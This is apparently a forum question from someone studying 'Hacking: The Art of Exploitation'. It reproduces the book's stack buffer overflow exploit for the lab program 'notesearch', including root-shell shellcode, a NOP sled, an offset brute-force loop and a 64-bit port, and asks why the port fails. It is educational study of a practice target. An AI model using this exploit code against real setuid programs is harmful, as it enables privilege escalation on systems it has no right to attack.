So I am reading this book called "Hacking: The Art of Exploitation, VOL 2". I am up to the part on buffer overflows and I have been trying to get the exploit in it to work for over 4 hours now... I have tried everything so I need your help.
So basically what this exploit is supposed to do is spawn a shell and give root privileges. The book was written for a 32 bit flavor of ubuntu. I am not using that flavor, however, I even tried putting that on virtualbox to get it to work and it did. But my goal is to get it to work on pretty much any other distro/flavor. (especially my distro)
I have been running Kali Linux 2.0 64 bit as my main machine and thats where I'm having the issues. I have even tried installing the 32 bit libraries on that and trying to get it to work but it wont. I also downloaded a virtualbox of the Kali Linux 2.0 32 bit version to see if that would work... It didn't
I also looked at the /proc/sys/kernel/randomize_va_space file on the books flavor and it was on 0 so I changed my computers to the same. I also have experimented with compiling with -fno-stack-protector -z execstack
So heres the exploit in the book:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";
int main(int argc, char *argv[]) {
unsigned int i, *ptr, ret, offset=270;
char *command, *buffer;
command = (char *) malloc(200);
bzero(command, 200); // Zero out the new memory.
strcpy(command, "./notesearch \'"); // Start command buffer.
/*notesearch is the program suceptible to buffer overflow. It asks for a
command line string to be searched for and that is what is being exploited*/
buffer = command + strlen(command); // Set buffer at the end.
if(argc > 1) // Set offset.
offset = atoi(argv[1]);
ret = (unsigned int) &i - offset; // Set return address.
for(i=0; i < 160; i+=4) // Fill buffer with return address.
*((unsigned int *)(buffer+i)) = ret;
memset(buffer, 0x90, 60); // Build NOP sled.
memcpy(buffer+60, shellcode, sizeof(shellcode)-1);
strcat(command, "\'");
system(command); // Run exploit.
free(command);
}
Because I am running a 64 bit machine I knew I needed to make a few changes. The first was that the shell code would have to be different because assembely and system calls are different from 32 to 64 bit. I went to
http://shell-storm.org/shellcode/files/shellcode-806.php to find some. I tested it out in the test program on that page and it worked.
The second change that I made was that I had to change the variable types/typecasts because on a 64 bit machine, unsigned int pointers are longer than unsigned ints, so i simply changed everything to long ints/ long int pointers because they will always be 8 bytes. Do you recommend I do it this way or is there a better way?
Okay, so now that is out of the way, my program looks like this:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
const char shellcode[] =
"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05";
int main(int argc, char *argv[]) {
long int i, *ptr, ret, offset = 176;
char *command, *buffer;
command = (char *) malloc(200);
memset(command,0, 200); //Zero out the new memory
strcpy(command, "./notesearch \'");
/*notesearch is the program suceptible to buffer overflow. It asks for a
command line string to be searched for and that is what is being exploited*/
buffer = command + strlen(command); // Set buffer at the end
if(argc > 1) //Set offset
offset = atoi(argv[1]);
ret = ((long int) &i) - offset; //Set return address
for(i=0; i <160; i+=sizeof(long int)) //Fill buffer with return addres
*((long int *)(buffer + i)) = ret;
memset(buffer, 0x90, 60); //Build NOP sled
memcpy(buffer+60, shellcode, sizeof(shellcode) -1);
strcat(command, "\'");
system(command); //Run Exploit
free (command);
}
If you look, you can see that we have different offsets used. In theory, the offset could be any number that would cause the return address to fall somewhere into the nop sled. That would mean that it could be any 60 consecutive values (because the nop sled is 60 bytes long.) To find those values, the book says to sequence through it with the command line
for i in $(seq 0 300); do echo Trying $i; ./exploit_notesearch $i; done
When that command is run on my computer it will segmentation fault for every offset except 176 (which is lucky but it doesn't even matter that much because it doesn't spawn a shell. I guess it just didnt overwrite anything)Thats why I have it set as the default offset in the program (but i can change the default by entering it as the first argument when running the program.
I have been in gdb scouring the program and basically what it looks like is that the ./notesearch is held in the command buffer and then right after that is the buffer variable that hold the nop sled, the shellcode, and the return address(the return address is repeated over and over from the for loop).
Trying to look at the bigger picture, I think what is going on is that note search is being run, and the nop, the shellcode, and the return address is being held in the overflown buffer.
(Now im just speculating here but if the buffer from the notesearch program is 100 characters long, I dont think that the stuff im writing into it is being completly overflown. My only guess is that the reason this exploit doesn't work is because not all of my code is being used because not all of it is overflown. I could be wrong because I'm still learning but i thought I would point out my thoughts. The only flaw with this ideas is that why would it work on their flavor and not mine because 100 characters is 100 characters on both systems)
So heres what I need help with:
I have no idea how to get this program to stop segmentation faulting
I think that in order to do so, I need the program to return somewhere into the NOP sled, but how do I get that working
Side question: why would he allocate 200 bytes on the heap if he wasn't going to use it all (he only ends up using 178) and i dont think this is that important but why did he declare *ptr and never use or reference it?
I would greatly appreciate if you guys could assist me with this. You dont have any idea how hard and long I have been trying to figure this out. Thanks in advance, and if you need any information whatsoever just ask because I really really want to figure this out
EDIT: I realized that since the size of the return address is a long int and the fact that i was only allowing it to copy 4 bytes into the buffer, that i was loosing much of the address. After that changee, which is reflected above and here it doesnt segmentation fault but still isn't running the shellcode:
for(i=0; i <160; i+=sizeof(long int)) //Fill buffer with return addres
Does anyone have any recomendation of what I should do next to get this to work?